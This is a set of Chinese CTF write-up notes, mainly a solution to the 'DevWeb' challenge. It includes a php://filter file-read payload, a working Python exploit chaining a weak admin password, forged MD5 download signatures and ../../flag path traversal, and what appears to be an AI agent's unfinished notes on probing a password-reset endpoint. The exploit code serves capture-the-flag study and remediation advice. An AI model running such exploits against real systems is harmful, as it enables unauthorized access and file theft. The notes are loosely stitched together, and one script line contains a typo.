web1
auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTU0MTd9.F22NNggIJmuuOpoQXBNWDF7vdiO4OngI5I797fTgLKc;
在admin.php可以任意文件读取,但不知道flag在哪

在flag.php,用php://filter/convert.iconv.utf8.utf16/resource=flag.php

DevWeb
- 题目名称: DevWeb
- 题目描述: 这是一个正在开发中的网站
- 难度: Medium
- 分类: Web安全
解题思路
这是一道综合性的Web安全题目,涉及信息泄露、RSA加密、文件下载和路径遍历等知识点。
详细解题过程
1. 信息收集
首先访问目标网站,发现是一个使用Vite构建的单页应用:
curl -s "http://TARGET:81/"
查看HTML源码,发现引入了JavaScript文件:/assets/index-BgDOi0T5.js
2. 分析前端代码
下载并分析JavaScript文件:
curl -s "http://TARGET:81/assets/index-BgDOi0T5.js" > app.js
通过分析发现几个关键信息:
(1) 登录功能
前端使用RSA加密密码后再发送到服务器:
t.setPublicKey(this.publicKey)
await this.submitLogin("username=" + encodeURIComponent(this.username) +
"&password=" + encodeURIComponent(t.encrypt(this.password)))
(2) RSA公钥泄露
在代码中发现一个被注释掉的RSA公钥(关键漏洞点):
//publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
虽然被注释了,但服务器端仍然使用这个公钥对应的私钥来解密密码。
(3) 文件下载功能
发现有一个下载接口:/download?file=文件名&sign=签名
3. 尝试登录
使用找到的RSA公钥和常见密码尝试登录:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import requests
import urllib.parse
# RSA公钥
public_key_b64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
# 导入公钥
public_key_der = base64.b64decode(public_key_b64)
rsa_key = RSA.import_key(public_key_der)
cipher = PKCS1_v1_5.new(rsa_key)
# 登录凭证
username = "admin"
password = "123456" # 弱密码
# RSA加密密码
encrypted_pwd = cipher.encrypt(password.encode())
encrypted_pwd_b64 = base64.b64encode(encrypted_pwd).decode()
# 构造POST数据
data = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(encrypted_pwd_b64)}"
# 发送登录请求
session = requests.Session()
base_url = "http://TARGET:81"
r = session.post(
f"{base_url}/login",
data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"},
allow_redirects=Falsex
)
# 返回302重定向,登录成功!
登录成功:用户名 admin,密码 123456

username=admin&password=KtMuzmL1Dh7ufEDy%2FfVDQg1FEBFQYxrMq3vGR98WAT1YthmwUPQhPI0ZHoW06A2DTdj6VnR4G%2BZM8utJTyN4XmVlKwn9keLmgEDXxwhrzYS7s5MdgEP2BYkenjrJjVNOtDUx73aHqvlCT0FHN1KXkzHK4a2gYdNU0VZ0QftXtZA%3D
Set-Cookie: JSESSIONID=820287BBA17DCD4AE278270246C95416; Path=/; HttpOnly
4. 下载app.jmx分析sign算法
登录成功后,尝试访问下载接口。前端代码中有一个固定的sign值:6f742c2e79030435b7edc1d79b8678f6
尝试下载文件:
r = session.get(f"{base_url}/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6")
成功下载到app.jmx文件(JMeter测试配置文件)。
分析app.jmx中的sign计算逻辑
在app.jmx中发现了关键的Groovy脚本:
def mingWen = vars.get('mingWen'); // 明文 = "test"
def firstMi = DigestUtils.md5Hex(mingWen); // 第一次MD5
def jieStr = firstMi.substring(5, 16); // 截取第5-16位
def salt = vars.get('salt'); // salt = "f9bc855c9df15ba7602945fb939deefc"
def newStr = firstMi + jieStr + salt; // 拼接
def sign = DigestUtils.md5Hex(newStr); // 第二次MD5得到sign
Sign计算算法:
MD5_1 = MD5(filename)
substring = MD5_1[5:16]
combined = MD5_1 + substring + salt
sign = MD5(combined)
其中 salt = "f9bc855c9df15ba7602945fb939deefc"
5. 验证sign算法
用Python实现sign计算:
import hashlib
def calculate_sign(filename):
salt = "f9bc855c9df15ba7602945fb939deefc"
# 第一次MD5
firstMi = hashlib.md5(filename.encode()).hexdigest()
# 截取5-16位
jieStr = firstMi[5:16]
# 拼接
newStr = firstMi + jieStr + salt
# 第二次MD5
sign = hashlib.md5(newStr.encode()).hexdigest()
return sign
# 验证app.jmx的sign
print(calculate_sign("app.jmx"))
# 输出: 6f742c2e79030435b7edc1d79b8678f6 ✓ 正确!
6. 路径遍历获取Flag
使用正确的sign算法,尝试下载系统中的flag文件:
# 测试不同的文件路径
test_files = ["flag", "flag.txt", "/flag", "../flag", "../../flag"]
for file in test_files:
sign = calculate_sign(file)
url = f"{base_url}/download?file={urllib.parse.quote(file)}&sign={sign}"
r = session.get(url)
if r.status_code == 200 and len(r.text) > 0:
print(f"找到flag: {file}")
print(f"内容: {r.text}")
break
成功通过路径遍历 ../../flag 获取到flag文件!
http://2e7a82f4-8acb-4620-9fe2-ff15153b6cc2.node5.buuoj.cn:81/download?file=../../flag&sign=0e8eb4d606b21517ca7f9bee140c9db6
完整EXP脚本
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import requests
import urllib.parse
import hashlib
def calculate_sign(filename):
"""计算文件下载的sign值"""
salt = "f9bc855c9df15ba7602945fb939deefc"
firstMi = hashlib.md5(filename.encode()).hexdigest()
jieStr = firstMi[5:16]
newStr = firstMi + jieStr + salt
sign = hashlib.md5(newStr.encode()).hexdigest()
return sign
# 目标URL
base_url = "http://TARGET:81"
# 1. 准备RSA登录
public_key_b64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
public_key_der = base64.b64decode(public_key_b64)
rsa_key = RSA.import_key(public_key_der)
cipher = PKCS1_v1_5.new(rsa_key)
username = "admin"
password = "123456"
# 2. 加密密码
encrypted_pwd = cipher.encrypt(password.encode())
encrypted_pwd_b64 = base64.b64encode(encrypted_pwd).decode()
data = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(encrypted_pwd_b64)}"
# 3. 登录
session = requests.Session()
r = session.post(f"{base_url}/login", data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"},
allow_redirects=False)
if r.status_code == 302:
print("[+] 登录成功!")
# 4. 下载flag
filename = "../../flag"
sign = calculate_sign(filename)
r = session.get(f"{base_url}/download?file={urllib.parse.quote(filename)}&sign={sign}")
if r.status_code == 200:
print(f"[+] Flag: {r.text.strip()}")
else:
print("[-] 登录失败")
Flag
DASCTF{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
漏洞总结
1. 信息泄露(Critical)
漏洞位置: 前端JavaScript代码
漏洞描述: RSA公钥被注释在前端代码中,攻击者可以直接获取
修复建议
:
- 完全删除注释的敏感信息
- 使用代码混淆和压缩
- 定期审查前端代码
2. 弱密码(High)
漏洞描述: 管理员账号使用弱密码
123456修复建议
:
- 强制使用强密码策略
- 实施账号锁定机制
- 启用双因素认证
3. 路径遍历(High)
漏洞位置:
/download接口漏洞描述: 虽然有sign验证,但允许
../../路径遍历修复建议
:
- 严格验证文件路径
- 使用白名单限制可下载文件
- 规范化路径,拒绝包含
../的请求
4. 签名算法安全性不足(Medium)
漏洞描述: sign算法依赖固定salt,一旦salt泄露(如通过app.jmx),签名机制失效
修复建议
:
- 使用HMAC等更安全的签名算法
- 引入时间戳防重放
- 定期更换密钥
知识点
- 前端安全: 敏感信息不应存在于前端代码中
- RSA加密: 公钥加密的正确使用方式
- 文件下载: 路径遍历漏洞的利用
- 签名机制: MD5签名的设计与破解
- 信息收集: 从配置文件中提取关键信息
参考资料
● 好的,让我总结一下我的发现:
已发现的关键信息
- 参数传递机制
- /admin/resetPassword 接口接受 JSON格式的POST请求
- 后端方法签名:public String resetPassword(String) - 只接受一个String参数(整个JSON字符串)
- JSON参数 和 URL查询参数 可以同时使用
- 参数污染特性
- ✅ URL参数可以补充JSON中缺失的字段(如newPassword)
- 例:?newPassword=xxx + {“username”:”admin”,”oldPassword”:”123456”} → 成功
- ❌ URL参数不能覆盖JSON中已有的字段
- 例:?username=sun + {“username”:”admin”,…} → admin的密码被修改,不是sun
- ❌ username字段必须在JSON中提供,不能只通过URL参数
- 只用URL参数会报500错误
- 不同Content-Type的行为
- application/json + JSON数据 → ✅ 正常工作
- application/x-www-form-urlencoded + form数据 → ❌ 报”syntax error”(后端尝试解析为JSON失败)
- multipart/form-data → ❌ 报”Required request body is missing”
- 测试过的用户名
使用 ?username=xxx 时,以下用户名都返回”密码重置成功”:
- sun, sunset, set, flag, root, guest, getflag, admin
- 但无法用这些修改对应用户的密码(URL参数的username不生效)
- 登录接口
- 只接受 application/x-www-form-urlencoded 格式
- 不接受JSON格式
未找到的内容
- ❌ Flag在哪里
- ❌ 如何通过”传参方式”获取flag
- ❌ “看落日”的真正含义
- ❌ 参数污染的正确利用方式
核心困惑
题目强调**”看看传参方式”**,我已经测试了多种传参方式的组合,但都只得到”密码重置成功”的响应,没有发现flag或特殊信息。可能遗漏了某个关键的参数名、特殊的参数组合方
式,或者flag在我没想到的其他地方。
Todos
☐ 重新理解”看落日的时候,看看传参方式”的真正含义